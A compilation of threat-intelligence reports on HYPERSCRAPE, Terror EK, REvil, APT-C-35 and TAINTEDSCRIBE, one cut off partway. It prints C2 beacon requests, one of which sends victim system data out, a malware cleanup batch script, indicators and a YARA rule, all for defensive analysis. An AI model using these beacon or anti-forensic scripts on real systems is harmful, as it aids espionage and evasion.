# New Iranian APT Data Extraction Tool As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high-risk users. For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government. Now, we’re shining light on a new tool of theirs. In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts. The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials. We have seen it deployed against fewer than two dozen accounts located in Iran. The oldest known sample is from 2020, and the tool is still under active development. We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings. This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool. HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities. Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives. ## HYPERSCRAPE Analysis HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired. It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail. Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread. After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google. Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file. The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine. We tested HYPERSCRAPE in a controlled environment with a test Gmail account, although functionality may differ for Yahoo! and Microsoft accounts. HYPERSCRAPE won't run unless in a directory with other file dependencies. ### HYPERSCRAPE Setup When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK" and will terminate if it's not found. In the version tested, the C2 was unobfuscated and stored as a hardcoded string. In later versions, it was obfuscated with Base64. ``` GET http://{C2}/Index.php?Ck=OK HTTP/1.1 Host: {C2} Accept-Encoding: gzip Connection: Keep-Alive ``` The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file. A new form is displayed if the information is not provided via command prompt. Once provided, the data in the "Identity" field is sent to a C2 for confirmation. Again, the response is expected to be "OK". ``` GET http://{C2}/Index.php?vubc={identity} HTTP/1.1 Host: {C2} Accept-Encoding: gzip ``` If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop. After parsing, the cookies are inserted into a local cache used by the embedded web browser. A new folder named "Download" is created adjacent to the main binary. The browser then navigates to Gmail to begin the data collection. The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail. If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page. ### What HYPERSCRAPE Does Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not. The language is returned to its original setting when the run is finished. HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download. It does the following for each email found: - Clicks on the email and opens it - Downloads it - If the email was originally unread, marks it unread - Goes back to the inbox The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject. A log file is written containing a count of the emails that were downloaded. When finished, an HTTP POST request is made to the C2 to relay the status and system information. The downloaded emails are not sent to the C2. ``` POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" } ``` The program will delete any security emails from Google generated by the attacker’s activity. Early versions contained an option to request Google Takeout data. Data from Google Takeout is also available upon request, but the option was only found in early builds. The functionality was not automated and it's unclear why it was removed in later versions. When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout. When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data. ### Protecting Our Users TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted. It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement. We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry. We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services. In the meantime, we encourage high-risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats. ## HYPERSCRAPE Indicators ### C2s - 136.243.108.14 - 173.209.51.54 ### HYPERSCRAPE Binaries - 03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 - 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 - 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 - 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f - 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 - 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f - ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 - cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa ### Microsoft Live DLL - 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 ### PDB - E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb - E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
# Terror EK via Malvertising Delivers Tofsee Spambot **Summary:** This was a great find, Terror EK in the wild from malvertising. The landing page appeared to be in the compromised site itself and was not loaded from an iframe. The site just displayed gibberish (Lorem Ipsum). The EK used three Flash files, attempted a Silverlight exploit, and triggered several interesting ET signatures. There was also almost no obfuscation of the code. The payload was Tofsee, and thanks goes to @Antelox for confirming it. Tofsee is a spambot known to send spam emails. It has been dropped by Rig EK in the past. I did not see much email traffic; however, I was using a proxy which may have caused some traffic to not be logged. This is a great find, and I hope you can gain a lot of information from it. **Notable Details:** - 52.29.235.194 – eu4.echo-ice.com - Part of a malvertising chain - 173.208.245.114 – paydayloanservice.net - Part of a malvertising chain - 128.199.233.119 – Terror EK Traffic - 103.48.6.14 – Tofsee Post Infection - 111.121.193.242 – Tofsee Post Infection - Payload was Tofsee Spambot (rad6AC11.tmp.exe created kxuepssx.exe) **Details of Infection Chain:** Terror EK via malvertising drops Tofsee spambot. The PCAP uses a proxy IP. **Full Details:** The malvertising chain led to a website that contained gibberish but also hosted the entire landing page with little to no attempt to obfuscate it. Below is a snippet: Terror EK uses a variety of exploits and has three different Flash files. The Flash files had not been uploaded to VT before for over a year. - **SHA256:** d7919a2c2a03e96200858fe2c8a405af1ae40f0590937f9a1a8b076f1d341c27 **File name:** dafsg.swf **Detection ratio:** 34 / 56 - **SHA256:** 55eea72f4fdf639987fc80789040dc1e98091c4adf8f30aebaba86d15f3aae06 **File name:** oiuhygnjda.swf **Detection ratio:** 27 / 56 - **SHA256:** 6e16ddfcf4c5f557f0f64ee8a4f16741e79dbe29acb43eccab87329116e88b9e **File name:** wdioj124.swf **Detection ratio:** 21 / 56 The payload was Tofsee, thanks to @Antelox for confirming this. It actually dropped two payloads, but they both had the same hash despite one having the old style “rad” naming. - **SHA256:** db04e22734b479bb49e55ab362f1a1c0378d7952ff7b6e3fe7916a11c3e6c84f **File name:** Carciofo.exe **Detection ratio:** 16 / 61 **Invincea:** backdoor.win32.tofsee.f - **SHA256:** 99d639df944351a1c77279ca0da31d80ce9e9d5a3bde1850a1ffca10dcc0f6c9 **File name:** kxuepssx.exe **Detection ratio:** 10 / 61 **Invincea:** backdoor.win32.tofsee.f Tofsee added itself to startup, listened on random ports, and began to send emails.
# Threat Hunting for REvil Ransomware **Summary** REvil (short for Ransomware Evil and also referred to as Sodinokibi) ransomware is in the ransomware-as-a-service (RaaS) business. The malware is handed over to the affiliates to infect users and extort money. In turn, the original REvil developers take 20-30% of the amount that the affiliates receive. The ransomware developers say that they have made more than $100 million in one year by infecting users owning large businesses. Attacks attributed to REvil were first spotted in April 2019, soon after the shutdown of the Gandcrab ransomware family. In fact, the developers of REvil have admitted that they did not build from scratch but instead used the Grandcrab code base. In this post, we describe how security operations teams can hunt for REvil ransomware and the artifacts it produces/ leaves behind. ## Understanding REvil To encrypt files, REvil uses elliptic curve cryptography (ECC). This allows smaller keys compared to other approaches without compromising the effectiveness of the encryption. Since its first appearance, this ransomware family has exploited vulnerabilities in software such as Windows Servers like 2012, 2012 R2, etc., as well as more recently Remote Desktop Gateway (RD Gateway). The configuration that the malware reads is a JSON file and it is stored in a special section of the malware binary called .iyaw in this case. The name changes with every new sample and the configuration is RC4 encrypted. The configuration defines the files to be excluded from encryption as well as the ransom note to be displayed. The sample configuration after being decrypted is shown. After encryption, the wallpaper changes to display that all files have been encrypted and all the instructions are in a text file. ## Process Cooldown The configuration file contains prc and svc fields which are process names and services that would be killed before the encryption process begins. REvil also deletes Volume Shadow Copies (VSS) using the PowerShell command shown. Decoding the command reveals the actual command. ## Threat Hunting for REvil With that background, how does a security analyst uncover REvil, ideally before significant impact across the organization? After the files have been encrypted, the ransomware reaches out to over 1000 domains generated based on information from the configuration file. Each URL contains the following pattern: `https://<domain>/<path1>/<path2>/<filename>.<ext>` Out of these 1000 domains, many are legitimate while others are C2 servers owned by the REvil operators which receive information from the infected machine. This technique allows the attackers to hide the real attacker servers. All the communication happens in TLS and the SNI can be seen. From having looked at multiple REvil samples, it appears that the TLS cipher suites are always constant for any domain accessed by the ransomware. Similarly, the TLS client extension codes also remain constant across all domains. The fact that the TLS fields are identical across all of the REvil sessions can be observed using TLS fingerprinting. This fact can be used with a technology like JA3 and can be fine-tuned for true positives by using additional analytics. Specifically, the JA3 hash of the REvil traffic is `1d095e68489d3c535297cd8dffb06cb9`. However, simply relying on this hash is likely to lead to false positives. For instance, searching customer networks for the same JA3 hash showed some traffic that was clearly not ransomware. This is where deep security analytics can help. For instance, it is possible to identify devices within this list that have the behavior described above where thousands of different destinations are accessed in quick succession. Within the Awake Security Platform, Ava performs this analysis automatically for you much like an experienced threat hunter. For instance, Ava will automatically connect the dots across the different behaviors we described above to triage and narrow down to just the true positives. Ava can also account for threat intelligence and open-source intelligence indicators to confirm the compromise and recommend next steps for investigation and response. Finally, Ava can trigger response actions by integrating with the rest of the organization’s security and IT infrastructure. Especially when dealing with ransomware, speed of remediation is of the essence and the automated triage, investigation, and response that Ava brings to this process helps mitigate impact. ## Remediation It is recommended to back up all important data to external drives or in the cloud for better security. Additionally, organizations should protect and monitor all the early vectors of ransomware. This includes protecting email and securely working with attachments, especially from unknown sources, as well as monitoring and protecting the entire attack surface, e.g., externally exposed remote desktop or VPN services. Finally, identify the sequence and patterns of communication we describe in this blog post and hunt for those to uncover the presence of REvil on your network.
# APT-C-35 Gets a New Upgrade **Hido Cohen & Arnold Osipov** Posted on August 11, 2022 The DoNot Team (a.k.a APT-C-35) are advanced persistent threat actors who’ve been active since at least 2016. They’ve targeted many attacks against individuals and organizations in South Asia. DoNot are reported to be the main developers and users of Windows and Android spyware frameworks. Morphisec Labs has tracked the group’s activity and now exclusively details the latest updates to the group’s Windows framework, a.k.a. YTY, Jaca. In this blog post, we briefly discuss the history of the DoNot team and shed light on updates revealed by the latest samples found in the wild. ## APT-C-35/DoNot Background The DoNot Team is consistent with their TTPs, infrastructure, and targets. They’re also well known for their continuous updates and improvements to their toolkit. The group mainly targets entities in India, Pakistan, Sri Lanka, Bangladesh, and other South Asian countries. They focus on government and military organizations, ministries of foreign affairs, and embassies. For initial infection, the DoNot Team uses spear phishing emails containing malicious attachments. To load the next stage, they leverage Microsoft Office macros and RTF files exploiting Equation Editor vulnerability and remote template injection. Known TTPs, or malware commonalities, include: - Modular architecture where each module is delivered in a separate file - Functionalities: file collection, screenshots, keylogging, reverse shell, browser stealing, and gathering system information - Various programming languages such as C++, .NET, Python, etc. - Utilizing Google Drive to store command and control (C2) server addresses - Multiple domains used for different purposes throughout the infection chain All previously known framework variants attributed to the DoNot Team share similar attributes. Morphisec Labs has identified a new DoNot infection chain that introduces new modules to the Windows framework. In this post, we detail the shellcode loader mechanism and its following modules, identify new functionality in the browser stealer component, and analyze a new DLL variant of the reverse shell. ## Mapping a Malware Route DoNot’s latest spear phishing email campaign used RTF documents and targeted government departments, including Pakistan’s defence sector. When the RTF document is opened, it tries to fetch a malicious remote template from its C2 by sending an HTTP GET request. If the User-Agent for that request doesn’t contain MSOffice, the C2 returns a decoy document with empty content. Otherwise, it downloads and injects a macro weaponized document. This technique may trick a security solution that tries to scan the URL without the MSOffice User-Agent header and mark it as clear. The remote template URLs are active for a limited period of time which makes analysis difficult. ### Pre-Shellcode Execution When a remote template is injected, it lures the victim to enable editing and content to allow the malicious macros to execute. Once macros are enabled, the Document_open routine executes and starts with a for loop to delay the malicious code execution, and then calls to the appropriate function based on the Winword.exe bitness. The function injects a shellcode (32-bit/64-bit) into the process memory and invokes it. The shellcode is injected using the following three WinAPI functions: 1. ZwAllocateVirtualMemory—Allocates virtual memory with Execute/Read/Write permission 2. MultiByteToWideChar—Maps the shellcode character string to UTF-16 3. EnumUILanguagesA—Passes the shellcode as a callback parameter. ### Delivering the Payload Before the execution of the payload, the shellcode decrypts itself using a simple decryption routine—not followed by xor with a two-byte key, which changes between stages. After the shellcode is invoked, it starts execution by decrypting the rest of the shellcode bytes and passing the execution to the next stage. Next, the shellcode downloads an encrypted blob from its C2 and decrypts it. The decrypted blob is the second-stage shellcode, and like the first stage shellcode, it starts by decrypting the rest of the bytes in the shellcode before passing execution to the next stage. In the 64-bit version of the first stage shellcode, the actor left what seem to be strings belonging to the configuration of the shellcode builder. These configurations include XOR keys used in the second-stage shellcode, and expiry dates for security products such as McAfee, Norton, and Bitdefender. Some strings appear to be the attacker's local paths and debugging flag. Next, the shellcode checks for security solutions by validating the existence of their drivers’ .sys, located under C:\Windows\System32\drivers. If security solutions are present, the shellcode compares the current date to an expiry date configured in the shellcode builder and operates accordingly. If none of the drivers are found on the victim’s machine, the shellcode executes the default routine which downloads from the specified URLs and modifies the three first bytes back to their original form. This technique is used to evade security solutions and keep them from scanning the executable. ## Module Delivery and Execution The initial infection executes the main DLL. This DLL is responsible for beaconing back to the C2 server that the infection was successful, and downloading the next component in the framework. The main DLL usually contains two exported functions. The first exported function is responsible for installing persistence and checking for security solutions. Persistence is achieved by setting a new Scheduled Task that runs every three minutes. The action assigned to the task is to run the second exported function. The second exported function is responsible for beaconing back to the C2 server. Before it does so, it creates a mutex to avoid multiple instances running at the same time, and performs VM detection using WMI queries. The malware then uses Windows Management Instrumentation (WMI) to collect basic system information such as the name, operating system caption, build number, and processor ID. To that information, it concatenates the victim’s ID and the folder names under C:\Program Files and C:\Program Files (x86) to learn which software is installed on the system. Once this is done, the malware can encrypt the victim’s data and beacon back to its C2 server. The malware and server encryption is AES-256 with two sets of embedded keys and IVs. The encrypted data is then encoded using Base64. The beaconing process is divided into two steps. The first message to the server is sent as a POST request to the first URL path embedded in the binary. Depending on the server’s response, the malware will either stay idle and keep the beaconing loop, or download the next stage. ## Upgraded Browser Stealer Module While Morphisec Labs was researching the previously known modules, one module caught our attention—the browser stealer. The browser stealer was first introduced to the framework in late 2020 and since then, we haven’t seen any significant changes. Until now. Instead of implementing the stealing functionality inside the DLL, the module uses four additional executables downloaded by the previous stage. Each additional executable steals information from Google Chrome and/or Mozilla Firefox. The following table summarizes what data is stolen from each browser: | Name | Stolen Data | Plain text file | Encrypted file | |--------------------------|----------------------------------|-----------------------------------------------|------------------------------------| | WinBroGogle.exe | Google Chrome credentials | C:\ProgramData\ucredgogle_qrty | %base%\usagoglyse.rnm | | WinBroGoMoH.exe | Google Chrome and Mozilla Firefox History | 1. %base%\goo_bhf.txt | 1. %base%\goo_bhf.rnm | | | | 2. %base%\maza_bhf.txt | 2. | | WinBroMozla32.exe | Firefox login (profile data) | C:\ProgramData\usam0zlp_xcertyuqas | %base%\usam0zlp.rnm | | WinBroMozla64.exe | Firefox login (profile data) | C:\ProgramData\usam0zlp_xcertyuqas | %base%\usam0zlp.rnm | The browser module executes each executable; they steal the data and store it in a temporary plain text file. The file is then encrypted and saved as an .rnm file which is later sent back to the C2 server by the file upload module. ## Reverse Shell DLL Implementation So far the reverse shell module has been implemented as an executable file. But now the actor aligns with the rest of the modules and recompiles the reverse shell as a DLL. The functionality remains the same, opening a socket to the attacker’s machine, creating a new hidden cmd.exe process and setting the STDIN, STDOUT and STDERR as the socket. The shell runs until the actor sends the string “exit\n”. ## Defending Against Threats Like APT-C-35 Defending against APTs like the DoNot team requires a Defense-in-Depth strategy that uses multiple layers of security to ensure redundancy if any given layers are breached. Any sufficiently large organization is at risk of being attacked by an APT group such as the DoNot team. These groups target a crucial security gap that few organizations have plugged. This gap exists between attack surface reduction strategies and technologies that focus on detecting anomalies on the disc or in the operating system. The hardest attacks to defend against are those that target applications at runtime. This is because popular security solutions focus on detecting anomalies on the disc or operating system. Their ability to detect or block attacks in memory at runtime are limited. However, a unique technology named Moving Target Defense (MTD) is purpose-built to defend against advanced, runtime attacks against Windows and Linux without affecting system performance or generating false alerts. ## Appendix ### ms.bat ```batch echo off SETLOCAL set id=%1 set pat=%2 set t_sk=%3 set t_sk_self=%4 set extra_lld=%5 schtasks /delete /tn %t_sk_self% /f taskkill /F /PID %id% /T timeout /t 2 taskkill /PID %id% /T /F timeout /t 2 schtasks /delete /tn %t_sk% /f timeout /t 2 schtasks /delete /tn %t_sk_self% /f timeout /t 2 schtasks /delete /tn %t_sk_self% /f timeout /t 2 del %pat% timeout /t 2 del "%~f0" & EXIT ``` ### Indicators of Compromise (IOCs) - **Blog Sample**: 486f772d81a3b90ba76617fd5f49d9ca99dac1051a9918222cfa25117888a1d5 - **Docs**: - d566680ca3724ce242d009e5a46747c4336c0d3515ad11bede5fd9c95cf6b4ce - 28c71461ac5cf56d4dd63ed4a6bc185a54f28b2ea677eee5251a5cdad07077b8 - 9761bae130d40280a495793fd639b2cb9d8c28ad7ac3a8f10546eb3d2fc3eefc - 41c221c4f14a5f93039de577d0a76e918c915862986a8b9870df1c679469895c ### Components (DLLs and EXEs) - 2c84b325b8dc5554f216cb6a0663c8ff5d725b2f26a5e692f7b3997754c98d4d - a70038cdf5aea822d3560471151ce8f8bacd259655320dea77d48ccfa5b5af4f - d3a05cb5b4ae4454079e1b0a8615c449b01ad65c5c3ecf56b563b10a38ecfdef - d71fa80d71b2c68c521ed22ffb21a2cff12839348af6b217d9d2156adb00e550 - 7fc0e9c47c02835ecbbb63e209287be215656d82b868685a61201f8212d083d9 - 6e7b6cc2dd3ae311061fefa151dbb07d8e8a305aed00fa591d5b1cce43b9b0de - 90cb497cad8537da3c02be7e8d277d29b78b53f78d13c797a9cd1e733724cf78 - 93ca5ec47baeb7884c05956ff52d28afe6ac49e7aba2964e0e6f2514d7942ef8 - 9b2ef052657350f5c67f999947cf8cd6d06a685875c31e70d7178ffb396b5b96 - 80f2f4b6b1f06cf8de794a8d6be7b421ec1d4aeb71d03cccfc4b3dfd1b037993 - f0c1794711f3090deb2e87d8542f7c683d45dc41e4087c99ce3dca4b28a9e6f6 - 5ebee134afe192cdc7fc5cc9f83b8273b6f282a6a382c709f2a21d26f532b2d3 ### Domains - worldpro[.]buzz - ser.dermlogged[.]xyz - doctorstrange[.]buzz - clipboardgames[.]xyz - beetelson[.]xyz - tobaccosafe[.]xyz - kotlinn[.]xyz - fitnesscheck[.]xyz - dayspringdesk[.]xyz - srvrfontsdrive[.]xyz - globalseasurfer[.]xyz - esr.suppservices[.]xyz
# Operation Newton: Hi Kimsuky? Did an Apple(seed) really fall on Newton’s head? ## Jaeki Kim Jaeki Kim is a principal researcher at TALON, S2W. He graduated from the 'Next Generation of Top Security Leader Program' (Best of Best, BoB) at the Korea Information Technology Institute (KITRI) in 2013, and holds a Master's degree from Korea University's Security Analysis and Evaluation Lab. Before joining S2W, he worked as part of the Computer Emergency Analysis Team of the Financial Security Institute and was the main author of "Campaign DOKKAEBI: Documents of Korean and Evil Binary", published by FSI in 2018. In 2020, he joined S2W and is currently working in TALON (the Cyber Threat Intelligence Group), and now also works as a mentor for KITRI's BoB program. He has previously presented at Virus Bulletin (2018, 2019) and ISCR (International Symposium on Cybercrime Response). ## Kyoung-ju Kwak Kyoung-ju Kwak is a director at TALON, CTI Group of S2W. Kyoung-ju currently works on threat intelligence. Kyoung-ju was previously Adjunct Professor at Sungkyunkwan University and audited the National SCADA system and the Ministry of Land with “the Board of Audit and Inspection of Korea” as an Auditor General in 2016. He currently acts as a member of the National Police Agency Cybercrime Advisory Committee. Kyoung-ju is the main author of the threat intelligence report “Campaign Rifle: Andariel, the Maiden of Anguish”, published in 2017. He has spoken at various international conferences such as BlackHat Europe, BlackHat Asia, Kaspersky SAS, HITCON, PACSEC, and more. ## Sojun Ryu Sojun Ryu graduated from the 'Next Generation of Top Security Leader Program' (Best of Best, BoB) at the Korea Information Technology Institute (KITRI) in 2013, and holds a Master's degree in information security from Sungkyunkwan University in Korea. Sojun worked at KrCERT/CC for seven years, analysing malware and responding to incidents, and is one of the authors of "Operation Bookcodes" published by KrCERT/CC in 2020. Recently, Sojun has been focusing on threat intelligence by expanding to DDW and cybercrime as well as APT at TALON, S2W.
# MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE **Notification** This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed. For more information on the Traffic Light Protocol (TLP), see [us-cert.gov/tlp](http://www.us-cert.gov/tlp). ## Summary ### Description This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Trojan malware variants used by the North Korean government. This malware variant has been identified as TAINTEDSCRIBE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks for further exploitation. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. Users should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Division and give the activity the highest priority for enhanced mitigation. This report looks at a full-featured beaconing implant and its command modules. These samples use FakeTLS for session authentication and utilize a Linear Feedback Shift Register (LFSR) algorithm. The main executable disguises itself as Microsoft’s Narrator. It downloads its commands from a command and control (C2) server and then has the capability to download, upload, delete, and execute files; enable Windows CLI access; and perform target system enumeration. ### Submitted Files (3) - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** (Narrator.exe) - **19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35** (EngineDll.dll) - **2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf** (EngineDll.dll) ### IPs (1) - **211.192.239.232** ## Findings ### 106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438 **Tags**: trojan **Details** - **Name**: Narrator.exe - **Size**: 286720 bytes - **Type**: PE32 executable (GUI) Intel 80386, for MS Windows - **MD5**: 24906e88a757cb535eb17e6c190f371f - **SHA1**: bda6c036fe34dda6aea7797551c7853a9891de96 - **SHA256**: 106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438 - **SHA512**: b02f86d8261875c9eaf2ee9d491bc7a5ed3227c90854060078598a7425b58d096398315144517a9daec6cb3542fe901af434b59769296 - **ssdeep**: 3072:qKhnf91e3YGs53EeY9eDUSGPGrdj+MieMUgUo2n6/rZDS35bb3tiWh6f9FKi4Z+J:xWvsN/Y9eDpjnieMB2BFtQFgZKUV - **Entropy**: 6.553050 **Antivirus** - AegisLab: Trojan.Win32.Generic.mmcn - Ahnlab: Trojan/Win32.Agent - Antiy: Trojan/Win32.Wacatac - Avira: TR/RedCap.ihekz - BitDefender: Trojan.GenericKD.32212178 - Cyren: W32/Agent.XH.gen!Eldorado - ESET: a variant of Win32/NukeSped.CO trojan - Emsisoft: Trojan.GenericKD.32212178 (B) - NANOAV: Trojan.Win32.NukeSped.fuwevb - VirusBlokAda: BScope.Trojan.Win64.AllStars - Zillya!: Trojan.Generic.Win32.918308 ### YARA Rules ```yara rule CISA_3P_10135536_36 { meta: Author = "CISA Trusted Third Party" Incident = "10135536" Date = "2019-12-20" Actor = "Hidden Cobra" Category = "n/a" Family = "n/a" Description = "Detects LFSR polynomials used for FakeTLS comms and the bytes exchanged after the FakeTLS handshake" MD5_1 = "24906e88a757cb535eb17e6c190f371f" SHA256_1 = "106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438" strings: $p1 = { 01 23 45 67 } $p2 = { 89 AB CD EF } $p3 = { FE DC BA 98 } $p4 = { 76 54 32 10 } $h1 = { 44 33 22 11 } $h2 = { 45 33 22 11 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them } ``` **ssdeep Matches** No matches found. ### PE Metadata - **Compile Date**: 2018-07-31 21:47:58-04:00 - **Import Hash**: 8222381c21809ba71801ba1e0290adcc - **Company Name**: Microsoft Corporation - **File Description**: Screen Reader - **Internal Name**: SR.exe - **Legal Copyright**: © Microsoft Corporation. All rights reserved. - **Original Filename**: SR.exe - **Product Name**: Microsoft® Windows® Operating System - **Product Version**: 6.3.9600.17415 ### PE Sections | MD5 | Name | Raw Size | Entropy | |---------------------------------------|--------|----------|-----------| | 05cafd41e93a7bd6aa578e957e7c0b4f | header | 1024 | 2.508565 | | a6c7082567c2424071bfda7ab3bd8095 | .text | 144384 | 6.231730 | | edd9ce426d2be22871091e1c979b8f94 | .rdata | 37376 | 4.515794 | | 3a129f29c07cc0ec4bb30fc7b4fb51e5 | .data | 4608 | 2.451992 | | 0674e93d57aa4e7727acc7bdbc37bb36 | .rsrc | 86016 | 7.119585 | | 978e1e848b291daef77e403a94cf8497 | .reloc | 13312 | 4.524800 | ### Relationships - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** Downloaded **2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf** - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** Downloaded **19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35** - **106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438** Connected_To **211.192.239.232** ### Description This file is the main implant executable. For persistence, when executed the malware copies itself into the current user’s Startup folder as “Narrator.exe.” It can have 5 hard-coded callback IP addresses/Ports. However, only 2 IP addresses are set, both to 211.192.239.232:8443. It will randomly pick one of the addresses and attempt to connect to it. If it fails, it will wait 60 seconds and then try another IP address. It performs the connection and authentication, then it attempts to download an additional module (3005f1308e4519477ac25d7bbf054899 or 68fa29a40f64c9594cc3dbe8649f9ebc) from the C2, which it loads and uses for command processing. The modules export a function, CreateFileProcEx or CreateFileEx. The function is called by this sample with a number of arguments, including a handle to the connection socket. The malware utilizes a “FakeTLS” scheme in an attempt to obfuscate its network communications. It picks a random URL from a list to present as a certificate. The sample and the C2 externally appear to perform a standard TLS authentication; however, most of the fields used are filled with random data generated by rand(). Once the FakeTLS handshake is complete, all further packets use a FakeTLS header, followed by LFSR encrypted data. **--Begin packet structure--** 17 03 01 <2 Byte data length> <LFSR encrypted data> **--End packet structure--** After the TLS authentication, the sample performs a handshake with the C2 and then waits for tasking from the C2. ### Screenshots - **Figure 1** - List of certificate URLs used in the TLS certificate. - **Figure 2** - Table of the session structure. - **Figure 3** - Table of the victim information structure. - **Figure 4** - The implant contains the commands displayed in the table. ### 2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf **Tags**: trojan **Details** - **Name**: EngineDll.dll - **Size**: 166400 bytes - **Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5**: 3005f1308e4519477ac25d7bbf054899 - **SHA1**: 0cf64de7a635f5760c4684c18a6ad2983a2c0f73 - **SHA256**: 2057c0cf4617eab7c91b99975dfb1e259609c4fa512e9e08a311a9a2eb65a6cf - **SHA512**: 77b0b20002ab4a175941a81e309ac6771295abee45497ae507d43fcef237dc7f614bac1e9f97086ef22892db5ef895075c63e467347b08 - **ssdeep**: 3072:jdouAxXKBsOmN7OslJyOmg/wMFOpYop4vdxZdXYGeJavqL:jd3kCsOM5/YY3d9z - **Entropy**: 6.511161 **Antivirus** No matches found. ### YARA Rules No matches found. **ssdeep Matches** No matches found. ### PE Metadata - **Compile Date**: 2018-02-19 08:23:40-05:00 - **Import Hash**: f56b60ba203f4772b5f87e061b59670a ### PE Sections | MD5 | Name | Raw Size | Entropy | |---------------------------------------|--------|----------|-----------| | 9ba90552855e9e8b3cfbcec483e4b036 | header | 1024 | 2.654189 | | 8244acedace09a0d354fd56aaf0c0f40 | .text | 123904 | 6.641205 | | 84e6930849c4126353e3367f2431b941 | .rdata | 25600 | 5.215729 | | 7403e6dd1ea8fd928cb704a43a82d773 | .data | 6144 | 3.443058 | | 